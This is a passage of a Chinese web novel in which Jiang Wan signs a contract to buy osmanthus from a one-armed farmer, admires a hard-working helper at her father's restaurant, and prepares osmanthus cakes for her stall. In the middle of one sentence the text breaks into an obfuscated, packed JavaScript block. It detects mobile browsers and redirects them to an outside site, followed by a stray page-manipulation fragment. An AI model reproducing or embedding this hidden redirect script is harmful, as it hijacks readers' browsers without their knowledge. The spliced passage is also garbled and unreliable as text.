江皖很满意，拿出在电脑上打印出来的合同，递给王长治，“这是我昨晚拟的合同，你可以仔细看看，主要内容就是规定我收购的价格和你需要保证的品质。如果你今年能保证还做出这种品质的桂花，那我还会按照这个价格全盘收购。” 王长治摆摆手似乎想拒绝，他昨天也去问了邻居桂花收购的价格，基本都是几十块钱，但江皖居然用三百的价格来收购他的桂花，他王长治虽然人穷，但志不穷，不想占别人的便宜。他担心江皖不了解行情才给出这么高的价格，赶紧放下合同向她解释。 江皖自然知道市面上的价格，她看王长治竭力说明，急的脸都变红了，她忍住笑意，仔细向他解释自己的收购价格是合理的，他做的桂花品质配的上这个价格，在商言商，自己还想继续同他合作。 但解释了半天他还是坚持减价，江皖哭笑不得，她都不知道到底谁是付钱的那个人了，不过通过这件事她能看出来王叔叔的人品不错。 江皖看他实在接受不了这个价格，索性各退一步，一般两百八十元一斤的价格收购，他这才勉强同意。 19. 第十九章 桂花糕（七） 两人达成共识后江皖把两大袋桂花倒进容器称重，一共5斤3两，确认重量后两人在合同上签字并按手印，然后按照合同约定，江皖拿出之前准备好的现金交到他手里。 在这个还不算炎热的夏天，王长治拿着这一小沓人民币，忽然间觉得，从截肢开始每天都隐隐作痛的左臂似乎没有那么碍眼，他每天用袖子把它捂的严严实实，假装自己与旁人没有区别，但每次摩擦到伤口的疼痛和感受到周围人了然同情的目光，慢慢的就像轻飘飘的棉絮一层层的压下来，这些经年累月的痛苦堆叠在一起，把他的心压入谷底，压的喘不过气。 他没读完书，也没有一技之长，意外的截肢也让他失去了卖力气的选择，但看着家里年迈的父母，他咬咬牙，就算花别人两倍的时间用一只手也要下地干活，看到别人卖桂花、卖核桃赚钱，于是他也跟着一起做，但没有找好买家，也没其他门路，最后只能堆放在家，王长治沉默了一段时间，继续默默种地，心里的棉絮依旧一层层的往下落。 但现在他被压的喘不过来气的心似乎跳动了一下，手里的一千多元像一束强光，棉絮似乎挡不住它的光亮。 王长治紧紧攥住钞票，郑重的对江皖说：“今年的桂花我一定会好好制作的。” 江皖把合同塞进他身边的袋子，笑着说：“我相信你。”，看着王长治几乎快要泛出泪花的眼睛，江皖有点招架不住，开始转移话题，想起刚刚听王叔说他在家种了五亩地，山脚下有半亩地隔的远，就种了核桃。 核桃是有些糕点必不可少的食材，江皖从袋子里挑拣的干干净净的桂花和他手上整齐的指甲就能看出王长治是一个做事细心的人，就算身体不便也努力承担家庭责任，所以她很佩服他，把话题带到另一边：“王叔，我听三奶奶说你种地是一把好手，刚才听你说你也种了核桃，正好我接下来有需要，如果你的核桃成熟后如果符合我的标准，我也跟你签合同。”说完后江皖笑眯眯的拿起茶壶，给他续了点水。 王长治刚平静下来的心又开始沸腾，经过一上午的交谈，他们已经熟悉不少，王长治也不再是之前腼腆的模样，他再三确认江皖的意图，简直要热泪盈眶，自己滞销的核桃这个外甥女居然也能帮他解决，张张嘴还是没好意思说去年的也没卖出去，只郑重表明，“我家种的核桃有不少已经熟了，再过几天应该能全部成熟，到时候你来这里，我现场给你摘！” 江皖欣然同意，表示过两天回老家烧纸，顺便去他那里看看核桃。接着便与他详细解释合同上几条他看不懂的文字。 讲完后他低头仔细查看合同，没一会儿屋里响起“叮--叮--”的声音，这是时钟整时报点，江皖一看已经到上午十点了，自己还要回家准备下午出摊，于是便抱歉的与王长治告别：“不好意思啊，王叔，我一会儿还有点事要处理，现在要走了。您中午就留在这吃饭吧，家里做了你的饭，别客气。” 江奶奶也从院子里探出头来，热情的表示已经做了他的饭，中午还要炒几个菜。 但王长治见江皖起身也连忙站起来，“没事，我也得回去，家里养了几只鸡鸭，今天早上没来得及喂。”说着也拿起东西就要走。 江奶奶和江皖极力挽留，但他竟意外的固执，最后两人没有强留他，临走时江奶奶把早上江皖带的点心给他装了一盒，他也推辞不要，最后还是江皖叮嘱他，“这是我用你家桂花做的桂花糕，你可要好好尝尝。”他这才收下。 把他送走后江皖也与奶奶告别，拎着两袋战利品高高兴兴的回家了。 到家后张芳芳正在搞大扫除，听到开门的声音扭头诧异的问：“你这么早就回来了？我还以为你要在奶奶家吃饭呢。” 江皖把桂花拿进厨房，边洗边说：“原本是这样打算的，不过我又想起来下午正式推出桂花糕，心里总是发慌，还不如回来多熬几罐桂花蜜，免得我不会储存，把这么好的桂花糟蹋了。” 说着把它们沥干水分放在一旁晾干，这么多桂花全部做完可是个大工程，就算王长治之前晾晒的时候已经挑过杂质，但江皖还是要自己再仔细检查一遍，免得出现坏掉的和发黑的桂花。 母女二人分工合作，都干的起劲，直到江建国打电话喊他俩去吃午饭才意犹未尽的结束，坐在沙发上给用眼过度的眼睛滴着眼药水时江皖颇为感慨，自己给自己干活就是不嫌累。 两人匆匆到了饭馆，吃着江建国准备的两菜一汤，没一会儿，江皖就注意到请来帮工的女人。 她看起来四五十岁，还有点胖胖的，嗓门很大，还很热情，江皖刚进门她正在干活，但还是抬起身大声给她打招呼，声音非常洪亮，弯腰扫地时围裙的系带似乎兜不住她的腰。但她动作是与身材不匹配的轻快干练，干活十分麻利，很快就把地扫干净，接着就开始擦桌子。 江皖好奇的问妈妈，“妈，这个来帮工的阿姨是你请来的吗？” 张芳芳似乎跟这个阿姨很熟，进门后张芳芳就去跟她聊天，两人好像有说不完的话，直到张芳芳过来吃饭江皖才小声问出口。 张芳芳点点头，“是我让她来帮工的，这是我之前跳广场舞认识的朋友，也姓张，前两年生病了，原本瘦条条一个人硬是吃药吃成这样，后来老公也跟她离婚了，现在她一个人带着孩子，还要吃药，所以每天要打好几份工。” 张芳芳叹了口气，小声对她说：“人家白天还有其他工作，平时一天来饭馆两次，下午两个小时加晚上两个小时，打扫卫生加刷碗，一会儿她就走了，去其他地方工作。” 江皖扭头悄悄观察这个张阿姨，她脸上洋溢着笑容，不像一个生活受到重大打击的人，反而很有热情。这一会儿她已经干完活，跟她们告别后就脱下围裙准备赶往下一个地方。 江皖回想今天遇到的王叔叔和眼前的张阿姨，他们都是坚强并热爱生活的人，看到他们就觉得充满希望，江皖非常佩服，戳戳张芳芳肩膀，“妈，你可要交代爸爸多给这个阿姨发点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328260|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资啊，人家这活干的多干净利落。” 张芳芳翻了个白眼，“这是我姐妹，还用你说。”然后催促她，“赶紧吃，一会儿回去还能睡一会。” 江皖赶紧低头把饭扒完，和张芳芳一起跟江建国打了招呼两人就骑车回家。 到家后张芳芳就让她赶紧上床睡觉，久违的腔调让江皖都有些恍惚，以为自己回到小学时期了。不过午觉还是很重要的，一直睡到闹钟响起，两人立马起床进入状态开始忙碌。 张芳芳承担机械性的如切菜、包包子等工作，江皖则承担调味，揉面等技术类工作，两人分工合作，忙中有序，时间一分一秒过去，蒸锅里包子出炉，张芳芳开始往保温箱里摆放，江皖则在一旁紧盯马上要出锅的桂花糕，准备放桂花酱。 拿起特意买的漏勺，江皖熟练的将桂花酱如同点豆腐一般全部点在雪白的糕体上，盖上盖子后，她就去协助一旁的张芳芳把大煮锅里的酸梅汤倒进保温桶。 接下来，只剩桂花糕了，担心没有市场，所以这次江皖没做太多，只做了两格。戴上隔热手套，直接端起来起放进保温箱，把模具卡在侧面的棱上分隔上下两层，避免粘连，接着盖上盖子。至此，全部工作已经准备完毕，可以出摊了。 —— 晚上的菜市街依旧人流如织，这一带附近都是居民楼，有很多人白天到这里买菜，晚上来这里吃饭，胡大姐的鸡蛋灌饼摊旁边伫立着一个蓝色的三轮车，上面也挂着招牌，不过不是卖包子，而是买烧饼。 胡大姐斜眼看着这个摊子边站着的高胖女人，心里很不乐意，之前在这里摆摊的漂亮小姑娘跟她相处的很好，生意都不错，还能彼此吸引客流量，后来两天她有事没来，她妈妈张姐来摆摊，跟她更能聊的来了。 结果昨天莫名其妙就来两个人，也骑着三轮车，不由分说的就占了这个摊位，当时张姐还没来，胡大姐以为他们不知道这个摊位有人，就好心提醒，结果那个女人眉毛一竖，撒泼似的就说她欺负人，这给胡大姐搞得当场无语，甩甩手就回自己摊位了。 后来江皖妈妈来了，看到摊位上有人也愣住了，胡大姐赶紧跑过去告诉她，这个新来的摊位女老板蛮横无理，别去跟她吵架，张芳芳不信这个邪，下车就去找他们说明情况，结果这个女人又是故技重施，没说两句话就开始骂骂咧咧，气的张芳芳满脸铁青，后来围观群众越来多了，顾客也过来买东西，她就顺着胡大姐指的地方，到更后面有一个拐角的位置停下。 江皖在家也听妈妈说了这个情况，不过确实没办法，这个菜市街归一个居委会管理，江皖当时去交摊位费时就已经知晓这条街上的摊位都是不固定的，不存在哪个摊位属于谁的规定。 尽管有一条默认的潜规则，大家都默契的不去占据别人已经摆过的位置，但毕竟没有明文规定，这个地方也没写她的名字，江皖只能安慰张芳芳别在意，反正自己的顾客群基本已经确立，名气也打起来了，不用跟他们计较。